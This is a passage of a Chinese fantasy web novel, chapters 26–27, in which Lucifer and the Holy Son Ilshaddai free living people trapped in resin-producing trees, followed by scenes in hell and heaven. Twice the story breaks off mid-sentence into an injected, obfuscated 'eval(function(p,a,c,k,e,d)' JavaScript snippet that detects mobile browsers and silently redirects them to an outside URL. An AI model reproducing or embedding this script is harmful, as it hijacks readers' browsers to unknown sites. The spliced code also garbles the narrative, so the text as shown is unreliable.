阿斯蒙蒂斯耐不住寂寞,早就偷偷离开,路西法独自在这里望着窗外,浸在不甚美好的过往里。 偏偏有人不知情识趣,慌慌张张地推开了门,见到他,眼睛一亮,顾不得气喘吁吁,连忙上前:“嘿,你……” 来人这才发现,她好像,一直都不知道他的姓名。 但现在不是纠结这个的时候。 狄曼图雅抓住他的衣袖,脸色发白:“伊勒沙代他们进了格罗多城的后山,那里面有好多守卫,他们已经被围起来了!你快想想办法救救他们!” 路西法垂眸一瞥她的手,狄曼图雅讪讪地立刻收了回去,一双眼急迫地看着他。 “他爱寻死就让他去,你为他急什么?” 狄曼图雅全然未料到路西法如此冷漠,心中焦急万分,她是看着伊勒沙代的去向不对劲才和塞里加一起跟上去的,最后塞里加拼了命才把她送出来,重点叮嘱她一定要来找路西法。 眼见路西法的确对伊勒沙代的生死毫不在意,她便急得有些口不择言:“你这人怎么这样!你难道不知道,‘睡过一张床就是过命的交情’,何况你们还是……” “我没睡他。”路西法严肃地打断她,指出其中的错误,尤其对那句莱洛温特色谚语的运用。 路西法说完又想起,不对,不是没睡,是根本没有同床共枕过啊! 简直是污蔑。 “没睡到都舍得看他去死?”狄曼图雅脱口而出。 她生长于生活奢靡无度,纵情声色犬马的王公贵族之中,虽然自己没经历过,但所见所闻相当丰富,可就算是她那些最好色又寡情的权贵亲戚,对自己的小情人在腻了之前都是柔情蜜意的。 哪有还没睡到就不在乎了的! 何况还是伊勒沙代那等容貌性情的…… 咳,她怎么越想越远了。 路西法的脸色也越来越黑。 他都懒得解释他和伊勒沙代不是那种关系了,狄曼图雅这脑子一看就不正常,肯定不会信。 “他不会死,你那奴隶也不会死,区区乌合之众,不会是他的对手。” 堂堂天国圣子要是连一群凡人守卫都打不过,耶和华早就把他回炉重造了。 狄曼图雅却还是满心焦虑,不安地揪着自己的头发:“可是,可是对面那么多人,他们也会受伤的……”她紧张得原地踱步,跺了跺脚,“早知道我就不拒绝大祭司了!起码从他那里学点什么,也比现在这样无能为力好。” “他主动提出要教导你?” “他是这么说的,但我觉得,大概,又是我父亲去求来的机会吧,无缘无故的,大祭司哪里看得上我,也只有我父亲他总是担心我这么倒霉会活不久,想方设法保护我。”狄曼图雅嘟囔道,“可我不喜欢大祭司,他一直戴着那副可怕的面具,裹在厚厚的袍子里,看上去阴森森的,那双眼睛又锐利得很,我一见他就浑身起鸡皮疙瘩。” 但是塞里加这次没有向着她,他和亲王意见一致,极力劝说她拜师。 “相信你的直觉,狄曼图雅。”路西法竟与所有人相反地支持她,只是那双殷红竖瞳中意味不明,“你不喜欢他,但是你的父亲和叔伯都极其信赖他,你得想想,若有一日,他要做什么与你意愿相背的事,你要如何说服其他人站在你这边。” 狄曼图雅一怔。 他这是在暗示她……去找大祭司的弱点? 但不及她追问,路西法已经先离开。 “你去哪儿?” “去给伊勒沙代收尸。” ……不是才说他不会死吗! 狄曼图雅瞠目结舌。 伊勒沙代当然没死。 塞里加惊异地看着他气定神闲地查看每个倒在地上的守卫,突兀地觉得,他好像,完全不累? 和浑身是伤还力竭的他简直形成鲜明对比。 他此刻甚至怀疑自己刚才是不是还拖累了伊勒沙代。 可是伊勒沙代的“武器”不过就是那把从旅店前台借来的普普通通的伞啊!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091869|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>但就在这把伞面前,守卫们的精铁刀刃就如纸糊的一般无力招架。 这一路上,与高调张扬的路西法不同,伊勒沙代始终是那副平和温柔的模样,似乎不带任何危险性。 而现在,塞里加意识到,他完全小看了面前这个容貌极佳的年轻人。 他绝不是路西法的附庸。 塞里加忍不住咳了两声,咽下喉间的血腥气。 他总是皱眉,眉心都有了两道浅浅的印痕,看上去格外严肃。 伊勒沙代放下最后一个守卫,回到他身侧,对他伸出了手。 塞里加下意识地躲了躲。 他刚才亲眼看到,伊勒沙代在一个守卫眉心一点,那人便将自己知道的一切事无巨细都告诉了他。 “放心,我对你的过往没有兴趣。”伊勒沙代还是那副温柔亲和的模样,“我只是想为你治疗一下罢了。” “多谢,但我没有大碍,之后回去包扎下便好。”塞里加依旧警惕,他现在清楚知道自己与伊勒沙代之间实力的差距,全然不敢放松。 所幸伊勒沙代没有强求,收回了手,转身从一个守卫身上取了伤药丢给他。 塞里加松了口气,熟练地给自己上药。 “我还当你会护送狄曼图雅小姐回去。”伊勒沙代背对着他,看向不远处郁郁葱葱的树林。 “她不会有事的。”塞里加低下头,将伤处绑紧,“你应该也能看到,暗处一直有人在跟着保护她。” 狄曼图雅以为自己很高明,所以才能一路顺利逃出王城,摆脱追兵,偶有挫折也能化险为夷。 但却不知,是有人在保驾护航。 “可你也知道,我亦不会有事的。”伊勒沙代语气温柔,那倒了一地的守卫恰是最好的证明。 塞里加一惊,霎时有个念头,伊勒沙代知道他问了聂厄曼什么。 但那时分明…… 他定了定神,眸中神色复杂,自嘲道:“可我们和她终究是不一样的。她是莱洛温皇族,只要亮明身份,就算是格罗多城主也要恭敬相待。而我们,最低等的祭山族奴隶,在莱洛温境内可以被所有人驱使奴役,即使是被杀了,杀人者也不会有任何代价。” 所以他选择留下帮伊勒沙代。 “你生在边境,居民混杂,所有人每日想的都只是如何温饱,那些身份差异或许便不太讲究;我在王城的斗兽场奴隶园里面长大,我见到的,祭山族人,在他们眼里,连一条毛色上佳的狗都不如。” 和猛兽争夺拼杀,换取一口馊冷的干粮,就着前夜下雨的污水就能下肚。 即使这样,也是一顿难得的好饭,是要有贵族来斗兽场看演出,满意地打赏,才能得到的。 也有人问过是否该给他这个摇钱树改善一下伙食,那矮胖园长瞪着一双精明的小眼,说不必吃得太好,不然叫他长了心气,不听使唤,不愿意拼命。 要是死了呢? 没关系,奴隶园里面,新的一茬也该长起来了。 那些饥饿过头的祭山族孩子,总会有一双恶狠狠的眼睛。 “何必呢?”伊勒沙代叹息道,“人类短短一生,不过数十年,却总在与人与己过不去。” “这话你该对莱洛温人说,祭山族人亦是人,为何生下来就要低人一等,受他们奴役折磨?”塞里加冷声道。 “你觉得我不配做聂厄曼预言中的天命之王。”伊勒沙代声音依旧轻柔,却很肯定。 “你不具有天命之王应有的特质。”塞里加语气沉沉,“你并不为祭山族人的境遇愤怒不甘,你不能统领祭山族人。” 图穷匕见。 塞里加自然不是平白无故寻一个和伊勒沙代独处的时机,同他说这些事。 他在观察伊勒沙代的反应。 太平静了。 平静过头,那就是…… 冷漠。 “这是正常的,因为我的确不是他想找的那位天命之王。”伊勒沙代不以为忤,“我有我的使命,或许我们未来还有机缘。” 塞里加又皱起眉:“但你不能帮助莱洛温人。” “何为帮助,何为伤害?你现如今没有能力去界定。塞里加,我不是你的盟友,也不是你的敌人,我只站在人类的立场上。”伊勒沙代转过身,像是在看他,又像是没有,“现在的你,不会知道命运的无常,只固执追寻自己认为的道义,在眼下,这也许是好事。” 塞里加面上浮现出困惑。 伊勒沙代说的话,他似懂非懂。 “想不通?想不通就对了,你和他不是一路人,用不着去理解他的话。” 塞里加转身,只见路西法不紧不慢地过来,他眼瞳一缩,下意识去看他身后。 “别看了,狄曼图雅还在路上,你说的话,她一个字也不会知道。”路西法似笑非笑。 塞里加喉结干涩地动了动:“……我不会害她的。” “这不是你能决定的事。”路西法轻飘飘撂下一句,然后便看向那边眼神炙热得很难忽略的伊勒沙代,“恢复到这种程度了?” 他粗粗看了一眼周围倒下的守卫,嗤笑道:“还真是称职,竟然只是打晕了他们。” 伊勒沙代微微垂下眼,道:“他们不应死在我手上,自有人间的道德与法律判决。” “太可惜了,如今的人间恐怕没有道德。”路西法饶有兴趣地看着他,“若是不信,你可以去看看你身后的那些树。” 伊勒沙代眸色一凝,转身再靠近那不远处的树林。 当他再靠近时,曾听见过的声音再次响起。 “疼……好疼啊……” “唉,唉,唉……” “痛……” 伊勒沙代眉心紧皱,尝试着伸手触碰树干。 而在他的手碰到树干那一刻,一切陡然变化! ——树干中央,蓦地出现了一张人脸。 双目紧闭,张着嘴,一声一声喊着疼。 26. 树中人面 格罗多城位于僻远之地,唯一出名的,便是浴光节的万千灯盏,长明无烟,悠悠香气,宁心静神。 而其中起作用的灯油,便是从格罗多城外树木中取得的一种特殊树脂制成。 只是这特殊的树脂可遇不可求,纵使是同一棵树,终生可能也只产出一次这种树脂,曾也有人想大量培育,但始终不能成功,最后不得不放弃。 如今,这片树林就在眼前,树脂流了满地,顺着地面人工掘出的纹路滑进后方一处池中。 而每棵树正中,都有一张惨白暗淡的人脸,树脂正是从他们脚下流出。 匆匆赶到的狄曼图雅瞪大了眼睛:“这,这是什么东西?” “看起来是有人寻到了能让这树大量产出树脂的方法。”不知何时出现的阿斯蒙蒂斯笑眯眯地扶了她一把。 “那些树里、里面,是尸体……?”她从未见过这般诡异的场景,吓得有些磕巴,都忘记了之前的介意,紧紧抓住阿斯蒙蒂斯的手臂。 “不是。”阿斯蒙蒂斯瞄了一眼,回头笑道。 狄曼图雅还未松一口气,又听他道:“是活人。” 狄曼图雅眼前一黑,头晕目眩。 塞里加上前把她从阿斯蒙蒂斯怀里强行带了出来,又将她扶到一边靠在树下:“小姐,您留在这里,别让那些东西脏了您的眼睛。” 她脸色苍白,却坚定地摇摇头:“他们不是脏东西。” 但塞里加无论如何不同意她靠近。 正当他们僵持之际,忽地有个人从他们身后跌跌撞撞地冲了出来。 塞里加皱眉看去,竟是旅店那个与伊勒沙代搭话的侍应。 也是他与狄曼图雅所见,带着伊勒沙代来此的引路人。 刚才他们与守卫打斗时不见他的踪影,塞里加还当他已经跑掉,现在看来,应该是躲在了某处。 此刻他脸上毫无血色,一双眼直勾勾地盯着一个方向,随后,目不斜视地跑到某棵树前,伸出颤抖的手想触摸那张脸。 但他抖得太厉害了,连靠近都做不到。 “呀,我好像明白是怎么回事了。”阿斯蒙蒂斯煞有介事地点头,“是这家伙在灯油里加了东西吧?旅店会不定时向城主府提供物品,他也就能趁机动手脚。” 可惜被城主发现了,于是城主索性将发给全城百姓的灯油里都加了同样的东西,以此泄愤。 至于原因么,自然是和眼前这些“树”有关了。 伊勒沙代眉心微蹙,他径直伸手去翻看那些树中的人脸,掀开他们的眼皮查看瞳孔。 没人理会阿斯蒙蒂斯,他也不觉尴尬,反而冲着身后树林里一处道:“我说的没错吧?小祭祀。” 见已被发现,树后之人也不再躲藏,走上前来,赫然正是利安维亚。 他也看见了那些树中人面,眼下倒是没有心情顾及狄曼图雅,也朝它们走去,仔细查看,随后一锤定音:“他们救不回来了。” “不可能!”侍应回过头,眼中满布血丝,像极了狰狞厉鬼,“他们,他们明明还在说话,还有呼吸!” 利安维亚轻嗤一声:“你若剥开这树,就会发现他们只剩一张皮裹着内脏骨骼,内里血肉全无,怎么能活?” 如今能说话喘气,也不过是因为在树内被紧紧裹着,脏器便还能运转。 而一旦真如他所说剥开,那当即便会死去。 侍应双唇抖如筛糠,拼命摇头。 “不信你可以问他。”利安维亚不耐烦了,索性一指伊勒沙代。 他相信伊勒沙代看过以后也会得出相同的结论。 却听伊勒沙代道:“我能救他们。” 利安维亚一愣,随即不可置信地笑起来:“喂,你可别逞能啊,说出来的话可是要作数的。” “自然作数。”伊勒沙代平静回道。 利安维亚本还是不信,但见他如此坚定坦然,心里又渐渐摇摆起来。 可他是所有人都承认的天纵奇才,圣殿建立数百年来从未有过他这等天赋非凡的祭祀,他敢说,他如今的修为只在一向神秘莫测的大祭司之下。 连他都认定没救,伊勒沙代竟说,他可以? 侍应却不如他想的多,当即便紧紧抓住伊勒沙代的小臂,欣喜道:“我就知道,我就知道!” 他又意识到自己的失态,松开手,恳切地看着伊勒沙代:“求求您救救他们,无论您要什么,我都一定办到。” 这般语气,倒像真是什么都可以。 利安维亚眼中掠过一丝疑虑,出言试探:“什么都行?你就不怕他要格罗多城主的命?” “恩人,如果您需要,我可以为您取来。”侍应只盯着伊勒沙代,目光灼灼。 伊勒沙代没有理会他们这边的交谈,只自顾自走到那汇集树脂的池边。 他俯下|身细细查看一番,随即又返回到每棵树下,划开指尖,在树根处一抹。 这片树林规模不小,他很是费了一番时间才走完,然后再回到池边,折下一棵没有人面的树的一小节树枝,在枝头抹上自己的血,又使那只有一个指节长的树枝眨眼之间变得有一丈之长,再将它缓缓插|入池中央。 待触及池底正中心,伊勒沙代才开始慢慢移动树枝,操纵着它画出个看似杂乱无章的轨迹。 但随着他动作,那池中树脂渐渐剧烈晃动,再如沸腾一般翻滚。 随后,竟然倒流起来! 而与之相对的,那中有人体的树干都鼓胀起来,人面也恢复了气色。 直到池中树脂一滴不剩,伊勒沙代方才松开手,道:“现在剥离他们与这些树木,他们仍旧可以活着,只是会比常人虚弱些,要好好修养补身。” 侍应欣喜若狂,连忙去剥他一直看着的那棵树,狄曼图雅也挣扎着站起来,和塞里加一起动手。 利安维亚早在伊勒沙代行事时便不再轻视,目不转睛地盯着他每个动作,他学着伊勒沙代的模样摸了摸树根,触碰到了意料之中的痕迹,眉头紧皱,低声骂道:“真是一群畜牲不如的东西!” 他像是对这些布置的来历并不陌生。 利安维亚起身,看向缓缓走来的伊勒沙代,终于是正视他,道:“你叫什么名字?” 他不料,伊勒沙代却将他忽视了个彻底。 他走到一直沉默着冷眼旁观的路西法身侧,低声道:“这些树根和池中都有特殊阵法,是献祭之法的变阵。” 人类能习得阵法已是不易,还能融会贯通,变阵以做他用,能做到这一点的绝对是凤毛麟角。 路西法眉心微挑:“怀疑我?” 研究变阵这种事要是恶魔来做自然是小儿科,但是恶魔要人类献祭,根本不需要费心设置变阵这么麻烦。 可……如果是为嫁祸呢? 恶魔以恶与欲为食,挑起人类自相残杀,对于他们而言百利而无一害,麻烦些又何妨? 路西法自己想想都觉得自己挺可疑的。 从既得利益者的角度去反推背后主使,思路没有问题。 “我并无此意。”伊勒沙代抬起头,定定看向路西法,苦笑道,“路西,你总是不信我。” 借着凄凄月色,路西法这才得见,伊勒沙代脸色苍白,就连那双一贯明亮璀璨的湛蓝眼眸也黯淡几分。 他眉心微拧,忽地心里有些猜测。 伊勒沙代像是连站稳的精力也不够,仅是动了动身体,便要跌下去。 只是他正站在路西法身前,这一倒,便是撞在了路西法右肩上。 路西法不由得僵住。 自右肩蔓延至全身,都是陌生至极的感觉。 他从天国副君到地狱之主,遇见之人若非敬畏便是惧怕,何曾有过谁敢这般……虚弱地靠在他肩上。 纵使不过是个意外,但,也是他头一遭的经历。 “抱歉,我……站不起来。”伊勒沙代的声音闷闷地从他肩边传来,丝丝温热气息穿透撒旦陛下华贵偏又轻薄的衣料,要与深藏其中的皮肤乃至肩胛骨接触。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091870|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 路西法愣了会儿,才伸出左手,掐住伊勒沙代的脸,强迫他抬起头,见他果真脸色极差,忍不住又捏了捏他的胳膊。 好吧,软软的,没反应,应该是真无力。 不过他是不是比之前长高了点? 路西法记得,初见时,他还只到他胸口上一点。 他偏过头,见伊勒沙代长睫垂下,颤动不止,眉心微蹙,正是从未有过的虚弱模样。 配上那副好皮相,也真是楚楚惹人怜惜。 路西法破例给他这个殊荣。 眼见着他们旁若无人似的贴在一起,利安维亚眉毛都要拧在一处,他从小到大自来是人群中的焦点重心,还没这么受过无视。 他看不透路西法的实力,自然不敢造次,但是又忍不住觉得古怪。 伊勒沙代这般厉害的人物,还需要委身于人? 这个世道有这么差吗? 他不敢相信,但又不敢去问满脸期待只等他来询问的阿斯蒙蒂斯,感觉他像是设好陷阱就等他跳,便去寻正努力剥树皮的狄曼图雅,悄声问道:“那个祭山族奴隶……” “他叫伊勒沙代!”狄曼图雅狠狠白他一眼。 她自小就听旁人夸赞利安维亚,又一直见他目中无人的高傲模样,对她自来毫不客气,心里始终憋着气,可惜他当真也是有本事,还未失手过,如今见他在伊勒沙代面前落了下风,吃了瘪,心里那口气一下就顺畅了。 简直比自己打败了利安维亚还高兴。 利安维亚心里挣扎良久,还是不禁开口,含含糊糊问道:“他,和他旁边那个人……难道是那种关系吗?” 狄曼图雅这下算是被问到了自信之处,她郑重地点点头,着重坚定道:“是的,他们就是那种关系。” 利安维亚感觉自己舌头都要打结了:“可,可是他那么厉害……我追查那群人这么久,只有他能破坏阵法,还能反向救人……不是,我的意思是,他没必要吧?” “你不懂。”狄曼图雅用高深莫测的语气道,“你才多大,怎么能明白,情之一字,最是叫人心甘情愿赴汤蹈火。” 那他还真不知道。 他从小在圣殿长大的,圣殿禁止情爱来着。 利安维亚回头看了看,只觉得自己过往的观念有些动荡。 然而他不知道,路西法比他更不自在。 伊勒沙代多少也是个天国生灵,这样靠在他肩上,路西法觉得他应该庆幸萨麦尔已经跟着他堕天了。 不然就算他还在以人类之躯执行任务,也得被萨麦尔狠狠记上几桩罪名,一回天国就量刑。 “和地狱之主私通”,光这一条都够被关一辈子了。 ……不对,哪来的私通,靠一下怎么就算私通了? 他怎么能这么想?肯定是被狄曼图雅影响了。 不过伊勒沙代穿得也真是薄,才刚下过暴雨,他现在也只是个人类,当真不会生病吗? 路西法正胡思乱想着,却感觉到伊勒沙代在他肩边动了动,轻咳一声,却是道:“路西,你心情不好?可是……不喜欢雨天?” 路西法一怔,莫名觉得好笑。 他怎么会同耶和华得出截然相反的结论? 但也说不上不喜欢,只不过遇到雨天,偶然会想起那一日。 他与耶和华也曾靠得那么近,近得让他产生错觉,以为靠得够近,也能心意相通。 现在想来,都是无知妄念。 造物主心里何曾只有过谁? 万众平等,都在意,那就是都不在意。 在造物主数以万计的年岁里,谁都不足言道。 “无所谓,我不喜欢也不讨厌任何天气。”路西法只道。 “不喜欢的,不是雨天……”伊勒沙代低声道,“那……是,是我吗……” “什么?” 伊勒沙代声音越来越低,最后几个字已含糊不清,路西法皱起眉,忽地又去碰他的脸。 却只觉触到一片滚烫。 27. 此心有恨 路西法忍不住又将手背贴到伊勒沙代额上。 这还是他第一次见到人类生病的样子。 人类当真脆弱,区区凉风寒雨也能击倒他们。 但伊勒沙代身为圣子,本不该如此虚弱的。 至此,路西法对他的“治愈之术”的猜想,已得到了验证。 从那时在镇上见他施展过以后,路西法便一直有所猜测,以伊勒沙代目前恢复的法力,应该并不能支撑那般强悍的法术才对。 生死人,肉白骨,起死回生从来只对创世神而言轻而易举,其他任何生灵,哪怕是他,也不能轻松做到。 就算耶和华对伊勒沙代比对当年的他更加倚重,但有造物与造物主之间的天堑鸿沟在,也不能赋予他这样的能力。 除非是…… 以自身生命力为交换。 路西法忽地不太理解伊勒沙代。 他敢说,伊勒沙代不像天国生灵,但这不是在于他不够圣洁纯真,而是在于,他拥有高度自主的意识反应。 他会反杀梅塔特隆,会利用米迦勒。 所以他做什么皆是出自于自己内心所想,而非为耶和华的命令。 世人因地域、语言或习俗将自己与他人分门别类,再分出个高低贵贱,以此区别对待。 但伊勒沙代似乎看他们是一样的。 无高无低,无贵无贱。 自有其道,完全不受外界丝毫影响。 这与千百年间为各种事转生人间的天国生灵都不太像,当他们生长于人类躯壳之中,亦会受人间环境影响。 所以比起他们,伊勒沙代其实更像…… 不提也罢。 路西法俯下|身,他从将伊勒沙代带回来放在床上为止,就一直在观察他。 期间心急如焚赶来的约里和阿亚都被懂事的阿斯蒙蒂斯拦在门外,也不知他用了什么理由,说动两人不再坚持要进来守着。 方便他一直就这样看着伊勒沙代。 伊勒沙代还在昏迷中,面色较平时多了几分不正常的绯红,摸上去很是滚烫。 或许这是……“发烧”? 路西法猜想到。 他不知道人类怎么退烧,他只会用法术。 方才他在伊勒沙代身上试着用过疗愈的法术,他生来天赋卓绝,用起任何法术都是手到擒来。 但他的法力进入伊勒沙代体内时,却如泥牛入海,霎时间化作虚无。 路西法将手背从伊勒沙代额上移到脸侧,感受到的温度相差不大。 人类在睡梦中若是心绪不宁,也会有所反应,但伊勒沙代只是皱着眉,路西法观察许久,他的睫毛都未曾动一下。 以路西法为数不多对人类身躯的了解来说,这似乎不是好现象。 路西法突发奇想,顺手掐住他的脸:“你不会就这样病死吧?” 不过他想想又觉得不可能,必要时候,米迦勒一定会拖着拉斐尔来救他的,但以他这人类之躯,即使不会死,也少不得要受罪。 “值得吗?”路西法随心所欲地揉捏伊勒沙代的脸,“你明知道,为了不引起恐慌,那些被装进树中的大多都是重罪死刑犯和流浪汉,他们就算消失也无人会在意。” 这些人如何配得上天国圣子的舍身拯救? 路西法不禁又回想关于伊勒沙代的一切信息。 相较于从前张扬高调,代神行旨的天国副君路西菲尔,圣子在天国时一直待在水晶天内,甚少露面,即使是天国重大活动也不会出现。 若论起来,他在天国众生前出现得最久的一次,竟然只有耶和华命令路西菲尔向他行礼的那次。 而就算他现身,也基本不会与天国众生有任何交流。 可以说,除了外貌,天使们对他一无所知。 但这就奇怪了。 耶和华当初那般阵仗,路西法还以为祂是铁了心要为伊勒沙代造势,可后来却没有任何后续的措施去巩固他的地位与声望,相反,耶和华又将他冷藏在神殿中,就连相对比其他生灵常出入水晶天的炽天使们也几乎见不到他。 而在所有见过他的天国生灵当中,路西菲尔竟然算是最近距离的。 “当初的你相貌同现在有些差别,不过我们只见过一面,我也记不清了。”路西法松开他的脸,语气随意,不管这唯一的听众究竟能否听见。 “……不止一面。” 路西法睁大眼睛。 伊勒沙代嗓音仍旧沙哑,薄薄的眼皮下可见眼珠的抖动。 但他睁不开眼睛。 只能控制着嘴唇喉舌,仍要回应路西法。 路西法搜寻遍记忆,却还是一无所获。 是他记错了吧。 听说人类发烧严重会烧坏脑子。 伊勒沙代缓缓睁开眼,路西法凑近去看,非常遗憾他看上去并没有直接烧成傻子。 傻子多好,任他摆布,就算他要伊勒沙代去杀人,他也只会听从。 路西法越想越是觉得可惜,刚才就该趁着伊勒沙代未醒,让他直接烧成傻子的。 不过伊勒沙代现在的状态看上去确实也不算好。 路西法又想问他何必。 他支着脸,懒懒散散靠在伊勒沙代床边,道:“不到一刻以后,格罗多城主的卫兵就会围住这里,你想好怎么脱身了吗?” 别说不到一刻,就是真有一刻的时间,以伊勒沙代现在的身体状况,也逃不出格罗多城的。 伊勒沙代心知肚明,他咳嗽了一阵,哑着嗓子道:“无妨,我自有办法。” “说来听听。”路西法勾起他一缕长发,绕在指间玩弄。 若换个人,明知路西法不怀好意,必然就缄口不言。 但伊勒沙代毕竟不是常人。 所以他据实以告。 “目前,他最担心的还是浴光节未曾按期举办的事,灯油之事,毕竟不曾曝光于人前,他可以后续再处理,浴光节却是迫在眉睫,且会影响他的声誉,甚至是统治地位,所以若我提出可以助他解决浴光节的难题,一时半会,他便不会为难我。” “这倒是好主意。”路西法笑意加深,“不过你要如何取信于他呢?而且,这天气为谁所控,你难道不知道?” 耶和华的喜恶从不掩藏,直白分明。 如今祂不喜格罗多城主,拒绝他的祭祀礼,伊勒沙代如何能让祂捏着鼻子认下? “还是说,你能让耶和华改变祂的决定?” 那倒是不可能。 主的旨意从不更改。 路西法还没见过有这种存在。 所以路西法越发好奇他准备怎么做。 伊勒沙代又咳嗽一阵。 他现在本就虚弱,路西法还一直催着他思索回答,于是脸色也越发憔悴。 但魔鬼并不怜悯,只是笑盈盈地欣赏他的病态。 伊勒沙代咳完,面上不正常的潮红又加深几分,他阖眸片刻,道:“你会帮我。” “我怎么不知道我要帮你?”路西法兴致勃勃地反问。 “因为…… “比起在这默默无闻之地,你会更希望我死得轰轰烈烈。” 以此宣告创世神的失败。 地狱之主如今对他只是有些兴趣,并不足以到会出手帮他的程度。 但他对创世神的恨却足以。 路西法看着他,随即大笑起来。 “伊勒沙代,你说耶和华会不会后悔创造了你?” 伊勒沙代一默,道:“祂从不会后悔。” “也是。”路西法收了笑意,站起身,居高临下地打量他憔悴的病容。 “那就努力活到那一天,别让我失望。” 伊勒沙代咳嗽几声,道:“我定,全力以赴。” 阿斯蒙蒂斯无聊地打第三个呵欠的时候,终于等到他的陛下出来。 他立马精神抖擞起来,笑嘻嘻地凑上前:“陛下,圣子他不会死了吧?” 那还怪可惜的,毕竟他长得好看么。 “死不了,顶多会虚弱一段时间。”路西法漫不经心地理了理袖边的缀饰,忽又问道,“以前在天国的时候,除去最后一次以外,我见过他吗?” 阿斯蒙蒂斯笑容凝固在脸上。 他觉得有些不可思议。 陛下以前,几乎从不提当年在天国时的事。 他忍不住用余光偷偷瞥了眼身后的房门,心里嘀咕,这位圣子还真是挺有能耐的啊。 陛下竟能因他去回想起那些往事。 阿斯蒙蒂斯一边心里对伊勒沙代高看分,一边努力回忆,道:“这……我印象中是没有的。不过我这……忘性大,兴许,别西卜会记得?” 他当年在天国的时候,三天打鱼两天晒网,比起去面对路西菲尔这位容貌至盛却端庄严苛的上司,他更愿意同下界那些羞涩娇柔的小美人打情骂俏,能不往路西菲尔面前凑就坚决不去。 所以他哪里知道路西菲尔见没见过伊勒沙代啊! 倘若有谁会知道,那必然是从一开始就紧紧跟随陛下的别西卜。 关于陛下的事,就算是哪一天戴的什么耳饰,他都会记得一清二楚的。 路西法本也不指望从他这儿得到答案,不过是随口一问。 他并不纠结于此,他还有更重要的事要去做。 潘地曼尼南的主人在一片无边夜色中踏入了这座地狱的王城,三界中最穷奢极侈,纸醉金迷之所。 外城的狂欢喧闹之声仅凭一墙便阻隔了个彻底,内城早早便安静下去,只有巡逻的侍卫身上武器甲胄的声响。 无他,众魔王都知道,撒旦陛下喜静,哪怕不确定他是否还在那正中宏伟的万魔殿里,他们都会自觉噤声。 但其实当年潘地曼尼南最初建成之时,他们并没有这么乖巧。 相反,不少魔王跃跃欲试,想着要集结起来挑战地狱之主的威严。 成功自然是好,不成功?那又如何,难道撒旦陛下还能把他们一群魔都教训了吗? 而事实证明,撒旦陛下真的能。 从那以后,他们就学会老实了。 路西法很满意他们现在的懂事,他也不想时时刻刻防备着这些破坏力极强,大多数还没什么脑子的魔王。 把他们拘在潘地曼 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但凡把他的勤奋分一半给贝利亚,路西法便觉得能放心休整了。 他索性不再提这件事,免得别西卜又再多心,转口问道:“你追查的事有结果了?” 别西卜面色凝重地点点头,道:“已经确认了莉莉丝出逃的全部内情,顺着这条线,还查到了他们旁的联络方式……陛下,请原谅我自作主张,擅自给了他一个教训。” “无妨,我相信你有分寸。”路西法笑起来,他抬头顺着窗外看向地狱悬在空中的那一弯赤红明月,意味深长,“他不会甘心吃这个闷亏,就看他会怎么做了,如果能引得他过了界,那就再好不过了。” 从千百年前那一战后,地狱与天国已经维持了太久微妙的平衡。 可路西法不喜欢平静。 不喜欢能让祂一如往昔高高在上的平静。 这份平衡总要被打破,区别只在于何时由何人做了何事作为导火索。 路西法已经选定了目标,现在,是看他咬不咬钩的时候了。 米迦勒兴冲冲地推开了恒星天议事厅的大门,却从周围的天使处得知,梅塔特隆不在此处。 有个天使犹豫了下,还是将自己的担心据实以告:“方才梅塔特隆殿下离开的时候脸色很差,不知道发生了何事。” 米迦勒闻言,也是眉头紧皱,梅塔特隆向来喜欢把事压在心底,对他们都是表现出从容稳重的模样,可如今在其他低位天使面前都维持不住表情,恐怕发生了不小的事。 他心里对梅塔特隆的担忧压过一切,连忙去梅塔特隆的寝宫寻他。 但当他找到梅塔特隆时,却大吃一惊:“梅塔!你的眼睛怎么了?” 梅塔特隆抬起血流不止的双眼,故作轻松地笑了笑:“我没事,看起来吓人而已。” 怎么可能没事! 按理说,天使为灵体,不会流血才对! 这必定是极重的伤了。 米迦勒上前仔细端详他的伤势,然而却看不出任何异样。 没有破溃之处,只是一直流血。 “到底是我轻敌,他只怕早就发现了我的窥探。”梅塔特隆苦笑道,“我自以为天衣无缝,但如今看来,我的一举一动早在他的掌控中。” 他不必点名,米迦勒也霎时知晓让他如此狼狈的是谁了。 ——路西法。 米迦勒不禁想叹气。 路西法太了解他们了,他们的性情,他们的弱点,他们的行事方式,路西法全都一清二楚,要对付他们,于他而言轻而易举。 但他们却对他知之甚少。 天国副君路西菲尔,从来只以最完美的形象示人。 温柔谦逊,端庄优雅,宽容体恤。 好似,全无缺陷。 在他率兵攻入恒星天之前,米迦勒都不敢相信,他竟然真的背叛了创世神。 简直没道理啊! 梅塔特隆忽地紧紧抓住了米迦勒的手,将他从回忆里唤醒。 米迦勒扶住他:“我带你去找拉斐尔,他肯定有办法。” 梅塔特隆摇了摇头:“我不能出去,若让其他天使看见我这副模样,必然会让他们方寸大乱的,何况今日还有下界生灵来拜会,倘若他们传了出去,定会人心惶惶。” 是啊,梅塔特隆可是天国的定心丸一般的存在,他不能虚弱。 “我传音给拉斐尔,让他过来好了。”米迦勒又道,随即立刻传了讯给拉斐尔。 拉斐尔应得也快,马上表示要赶来。 米迦勒小心翼翼地扶住梅塔特隆,为他注入法力,试着舒缓一些他的症状。 却听梅塔特隆道:“这些年来,我们被他暗算了很多次了,但始终没有反击之法。” 米迦勒心情有些沉重。 